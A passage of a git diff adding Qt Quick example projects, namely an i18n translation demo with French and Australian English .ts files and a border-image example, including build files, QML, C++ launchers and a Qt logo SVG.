+else:exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/i18n/i18n.qmlproject b/examples/declarative/i18n/i18n.qmlproject
new file mode 100644
index 00000000..4d31a297
--- /dev/null
+++ b/examples/declarative/i18n/i18n.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/i18n"
+ }
+ JavaScriptFiles {
+ directory: "qml/i18n"
+ }
+ ImageFiles {
+ directory: "qml/i18n"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/i18n/i18n.svg b/examples/declarative/i18n/i18n.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/i18n/i18n.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/i18n/main.cpp b/examples/declarative/i18n/main.cpp
new file mode 100644
index 00000000..1296edc6
--- /dev/null
+++ b/examples/declarative/i18n/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockLandscape);
+ viewer.setMainQmlFile(QLatin1String("qml/i18n/i18n.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/i18n/qml/i18n/base.ts b/examples/declarative/i18n/qml/i18n/base.ts
new file mode 100644
index 00000000..82547a1f
--- /dev/null
+++ b/examples/declarative/i18n/qml/i18n/base.ts
@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" sourcelanguage="en">
+<context>
+ <name>i18n</name>
+ <message>
+ <location filename="../i18n.qml" line="30"/>
+ <source>Hello</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/examples/declarative/i18n/qml/i18n/i18n.qml b/examples/declarative/i18n/qml/i18n/i18n.qml
new file mode 100644
index 00000000..9a3ebd34
--- /dev/null
+++ b/examples/declarative/i18n/qml/i18n/i18n.qml
@@ -0,0 +1,78 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+//
+// The QML runtime automatically loads a translation from the i18n subdirectory of the root
+// QML file, based on the system language.
+//
+// The files are created/updated by running:
+//
+// lupdate i18n.qml -ts i18n/base.ts
+//
+// Translations for new languages are created by copying i18n/base.ts to i18n/qml_<lang>.ts
+// The .ts files can then be edited with Linguist:
+//
+// linguist i18n/qml_fr.ts
+//
+// The run-time translation files are then generaeted by running:
+//
+// lrelease i18n/*.ts
+//
+
+Rectangle {
+ width: 640; height: 480
+
+ Column {
+ anchors.fill: parent; spacing: 20
+
+ Text {
+ text: "If a translation is available for the system language (eg. French) then the
+ string below will translated (eg. 'Bonjour'). Otherwise it will show 'Hello'."
+ width: parent.width; wrapMode: Text.WordWrap
+ }
+
+ Text {
+ text: qsTr("Hello")
+ font.pointSize: 25; anchors.horizontalCenter: parent.horizontalCenter
+ }
+ }
+}
diff --git a/examples/declarative/i18n/qml/i18n/qml_en_AU.ts b/examples/declarative/i18n/qml/i18n/qml_en_AU.ts
new file mode 100644
index 00000000..e991affe
--- /dev/null
+++ b/examples/declarative/i18n/qml/i18n/qml_en_AU.ts
@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="en_AU" sourcelanguage="en">
+<context>
+ <name>i18n</name>
+ <message>
+ <location filename="../i18n.qml" line="30"/>
+ <source>Hello</source>
+ <translation>G&apos;day</translation>
+ </message>
+</context>
+</TS>
diff --git a/examples/declarative/i18n/qml/i18n/qml_fr.ts b/examples/declarative/i18n/qml/i18n/qml_fr.ts
new file mode 100644
index 00000000..365abd95
--- /dev/null
+++ b/examples/declarative/i18n/qml/i18n/qml_fr.ts
@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="fr" sourcelanguage="en">
+<context>
+ <name>i18n</name>
+ <message>
+ <location filename="../i18n.qml" line="30"/>
+ <source>Hello</source>
+ <translation>Bonjour</translation>
+ </message>
+</context>
+</TS>
diff --git a/examples/declarative/imageelements/borderimage/borderimage.png b/examples/declarative/imageelements/borderimage/borderimage.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/imageelements/borderimage/borderimage.png
Binary files differ
diff --git a/examples/declarative/imageelements/borderimage/borderimage.pro b/examples/declarative/imageelements/borderimage/borderimage.pro
new file mode 100644
index 00000000..2a863442
--- /dev/null
+++ b/examples/declarative/imageelements/borderimage/borderimage.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/borderimage
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xEBB4D123
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/imageelements/borderimage
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/imageelements/borderimage/borderimage.qmlproject b/examples/declarative/imageelements/borderimage/borderimage.qmlproject
new file mode 100644
index 00000000..ab684357
--- /dev/null
+++ b/examples/declarative/imageelements/borderimage/borderimage.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/borderimage"
+ }
+ JavaScriptFiles {
+ directory: "qml/borderimage"
+ }
+ ImageFiles {
+ directory: "qml/borderimage"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/imageelements/borderimage/borderimage.svg b/examples/declarative/imageelements/borderimage/borderimage.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/imageelements/borderimage/borderimage.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/imageelements/borderimage/main.cpp b/examples/declarative/imageelements/borderimage/main.cpp
new file mode 100644
index 00000000..e5d25666
--- /dev/null
+++ b/examples/declarative/imageelements/borderimage/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
